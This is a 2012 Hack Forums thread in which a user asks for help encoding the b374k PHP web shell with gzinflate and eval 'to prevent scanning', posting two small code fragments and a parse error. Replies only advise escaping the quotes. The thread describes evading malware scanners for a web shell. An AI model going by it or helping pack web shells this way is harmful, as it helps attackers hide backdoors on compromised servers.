Hack Forums
[PHP] Issue with Encoding PHP shell -> b374k-shell [Donating $5-$10] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Web Development (https://hackforums.net/forumdisplay.php?fid=183)
+---- Thread: [PHP] Issue with Encoding PHP shell -> b374k-shell [Donating $5-$10] (/showthread.php?tid=2661103)



Issue with Encoding PHP shell -> b374k-shell [Donating $5-$10] - rakaka - Jul 9, 2012

Hey, I am having issues with encoding b74rk shell https://code.google.com/p/b374k-shell/

to prevent scanning, I have changed all HTML to echo out of PHP and escaped if the quotes are in quotes, but I am getting error ->

Parse error: syntax error, unexpected '=' in C:\xampp\htdocs\test.php(2) : eval()'d code on line 56

which is
PHP Code

<?php 
$pu 
.= "<a href="?d=".$pz."">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>"; 

and I noticed something weird, when encoding the php script then printing the source using echo(gzinflate..) instead of eval I could check for stuff that changes, and yes it does happen after encoding which is the following:

Before encoding:
PHP Code

<?php 
$res 
= exe("\"".$fpath."\" ".$target); 

After encoding:
PHP Code

<?php 
$res 
= exe(""".$fpath."" ".$target); 

If anyone could help kudos to you and I will donate some $ to your PayPal ($5-10)


* - OR!ON - Jul 9, 2012

You've got to escape the double quotations.


* - DeadCode - Jul 9, 2012

You simply have to re-escape the quotations


* - rakaka - Jul 9, 2012

Thanks, fixed now. I got someone else to do it for me, now it works perfect.


* - sudobash - Jul 10, 2012

They're called special characters...